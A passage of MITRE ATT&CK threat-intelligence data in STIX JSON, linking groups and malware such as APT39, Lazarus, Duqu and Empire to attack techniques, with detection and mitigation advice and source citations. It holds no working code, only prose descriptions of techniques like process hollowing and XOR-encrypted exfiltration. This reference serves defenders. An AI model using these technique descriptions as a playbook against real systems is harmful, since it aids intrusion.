Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2021-10-12T23:00:49.409Z","description":"[APT39](https://attack.mitre.org/groups/G0087) leveraged spearphishing emails with malicious attachments to initially compromise victims.(Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f60afd0d-68d1-4b71-bb07-b943e9542b2d","created":"2020-03-30T02:26:59.962Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster Loaders","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"},{"source_name":"Novetta Blockbuster RATs","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.","url":"https://web.archive.org/web/20220608001455/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:03:54.707Z","description":"A [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample encrypts data using a simple byte based XOR operation prior to exfiltration.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f60b8223-eea6-422e-99c6-7f9b70e8ea53","type":"relationship","created":"2020-05-11T22:12:28.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye MESSAGETAP October 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html","description":"Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who’s Reading Your Text Messages?. Retrieved May 11, 2020."}],"modified":"2020-06-24T01:43:11.357Z","description":"[MESSAGETAP](https://attack.mitre.org/software/S0443) checks two files, keyword_parm.txt and parm.txt, for instructions on how to target and save data parsed and extracted from SMS message data from the network traffic. If an SMS message contained either a phone number, IMSI number, or keyword that matched the predefined list, it is saved to a CSV file for later theft by the threat actor.(Citation: FireEye MESSAGETAP October 2019)","relationship_type":"uses","source_ref":"malware--9b19d6b4-cfcb-492f-8ca8-8449e7331573","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f60e5a0d-cfdf-4c4e-be35-af5a2bdbc131","created":"2022-04-20T22:16:59.101Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Enable the Hardened Runtime capability when developing applications. Do not include the com.apple.security.get-task-allow entitlement with the value set to any variation of true. ","modified":"2022-04-20T22:16:59.101Z","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f60ed279-c720-4906-9e63-3cd7ce49e1e0","type":"relationship","created":"2020-06-18T16:12:54.219Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-06-18T16:12:54.219Z","description":"[RTM](https://attack.mitre.org/software/S0148) can scan victim drives to look for specific banking software on the machine to determine next actions.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f60f8552-3c43-4b43-ad23-2b00b6172b00","type":"relationship","created":"2020-08-13T16:51:23.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Hancitor","url":"https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html","description":"Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."}],"modified":"2020-09-02T19:54:01.155Z","description":"[Hancitor](https://attack.mitre.org/software/S0499) has used a macro to check that an ActiveDocument shape object in the lure message is present. If this object is not found, the macro will exit without downloading additional payloads.(Citation: FireEye Hancitor)","relationship_type":"uses","source_ref":"malware--ef2247bf-8062-404b-894f-d65d00564817","target_ref":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f6127058-7b4b-4277-b9d1-860595bba0f3","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T21:54:45.171Z","description":"Monitor executed commands and arguments that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized users.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f612ed23-f9c3-4527-b23a-3361f90f5fe1","created":"2022-06-03T16:12:03.241Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: SecureWorks August 2019)","modified":"2022-06-03T16:12:03.241Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f619f10a-a579-49a6-a64f-80be117eea94","created":"2024-03-13T19:19:17.313Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T19:34:26.129Z","description":"[LITTLELAMB.WOOLTEA](https://attack.mitre.org/software/S1121) can check the type of Ivanti VPN device it is running on by executing `first_run()` to identify the first four bytes of the motherboard serial number.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"malware--19256855-65e9-48f2-8b74-9f3d0a994428","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f623affb-f6e8-4c32-a44f-8835fff92c59","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2021-02-09T14:24:38.228Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) has used macros in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)s as well as executed VBScripts on victim machines.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6242361-3056-49da-8e2a-82e1e893b039","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Establish centralized logging for the activity of cloud compute infrastructure components. Monitor for suspicious sequences of events, such as the deletion of multiple snapshots within a short period of time. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","source_ref":"x-mitre-data-component--16e07530-764b-4d83-bae0-cdbfc31bf21d","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6247612-3255-44eb-860f-e882ee1f36f6","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-16T19:50:57.948Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) can get a list of the processes and running tasks on the system.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f624a474-a667-4305-bf2a-dabecaa97580","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Locations where profile.ps1 can be stored should be monitored for new profiles. (Citation: Malware Archaeology PowerShell Cheat Sheet) Example profile locations include:\n* $PsHome\\Profile.ps1\n* $PsHome\\Microsoft.{HostProgram}_profile.ps1\n* $Home\\My Documents\\PowerShell\\Profile.ps1\n* $Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malware Archaeology PowerShell Cheat Sheet","description":"Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.","url":"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"}]},{"type":"relationship","id":"relationship--f62b29cb-b483-41b3-9724-ab7a376dd2c6","created":"2022-09-20T15:05:56.867Z","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-20T15:05:56.867Z","description":"[Empire](https://attack.mitre.org/software/S0363) can enumerate the username on targeted hosts.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f630f321-d227-414b-9272-fe19268779e0","type":"relationship","created":"2020-10-02T16:42:42.607Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:42:42.607Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884","target_ref":"attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f6326754-74dc-46fc-b8e4-f8b1e5919c9d","created":"2022-03-30T14:26:51.873Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze network flows associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, or gratuitous or anomalous traffic patterns). Consider analyzing newly constructed network connections that are sent or received by untrusted hosts, unexpcted hardware devices, or other uncommon data flows.","modified":"2022-04-12T13:16:29.985Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f635daec-033b-4d91-afa6-4a6f44f9dddb","created":"2022-06-24T13:52:25.664Z","x_mitre_version":"0.1","external_references":[{"source_name":"Zscaler Lyceum DnsSystem June 2022","url":"https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor","description":"Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has set up custom DNS servers to send commands to compromised hosts via TXT records.(Citation: Zscaler Lyceum DnsSystem June 2022)","modified":"2022-06-24T13:52:25.664Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f638cb6d-d725-444f-93f9-02f49b4d9383","created":"2019-01-30T15:38:21.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.862Z","description":"[BISCUIT](https://attack.mitre.org/software/S0017) has a command to launch a command shell on the system.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b8eb28e4-48a6-40ae-951a-328714f75eda","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f63970b4-a3fd-4fc9-8685-2baf0ff6ffff","type":"relationship","created":"2020-10-20T19:26:05.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - AAA","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#38","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - AAA. Retrieved October 19, 2020."}],"modified":"2021-07-26T15:57:50.897Z","description":"Use of Authentication, Authorization, and Accounting (AAA) systems will limit actions users can perform and provide a history of user actions to detect unauthorized use and abuse. Ensure least privilege principles are applied to user accounts and groups so that only authorized users can perform configuration changes. (Citation: Cisco IOS Software Integrity Assurance - AAA)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--818302b2-d640-477b-bf88-873120ce85c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f64733fd-acc7-4570-90ee-79c117c37d7e","type":"relationship","created":"2020-04-28T12:47:25.946Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T14:37:51.446Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to compress files with zip.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f649505a-555f-4939-980e-916a511c3134","created":"2022-06-02T13:27:56.406Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ZxxZ](https://attack.mitre.org/software/S1013) has used a XOR key to decrypt strings.(Citation: Cisco Talos Bitter Bangladesh May 2022)","modified":"2022-06-02T13:27:56.406Z","relationship_type":"uses","source_ref":"malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f64acb43-91b8-431a-ad0a-ad22afe5851a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.","source_name":"Symantec W32.Duqu"}],"modified":"2019-04-24T23:18:53.184Z","description":"[Duqu](https://attack.mitre.org/software/S0038) is capable of loading executable code via process hollowing.(Citation: Symantec W32.Duqu)","relationship_type":"uses","source_ref":"malware--68dca94f-c11d-421e-9287-7c501108e18c","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6514d17-d599-4a45-93b2-a80b4aa39dde","type":"relationship","created":"2020-01-31T12:36:39.323Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-31T12:36:39.323Z","relationship_type":"revoked-by","source_ref":"attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f651bc78-e055-4237-88f5-1e1978c13647","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for API calls that may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f653eb7d-7027-4161-9071-b52336bd4fbc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye WMI 2015","description":"Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"}],"modified":"2020-03-17T02:33:06.632Z","description":"[SeaDuke](https://attack.mitre.org/software/S0053) uses an event filter in WMI code to execute a previously dropped executable shortly after system startup.(Citation: FireEye WMI 2015)","relationship_type":"uses","source_ref":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6557436-3564-4128-b93e-2c246ec00834","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TYPEFRAME June 2018","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}],"modified":"2020-03-17T13:49:31.113Z","description":"[TYPEFRAME](https://attack.mitre.org/software/S0263) can delete files off the system.(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f655e6a0-431c-4996-859d-2e1952f26d2e","type":"relationship","created":"2020-10-02T16:01:35.489Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T16:01:35.489Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413","target_ref":"attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f65ea007-e6e0-4311-a766-4ca60f17a79f","created":"2024-08-26T18:24:52.899Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:24:52.899Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) has gathered information on victim systems.(Citation: Microsoft Moonstone Sleet 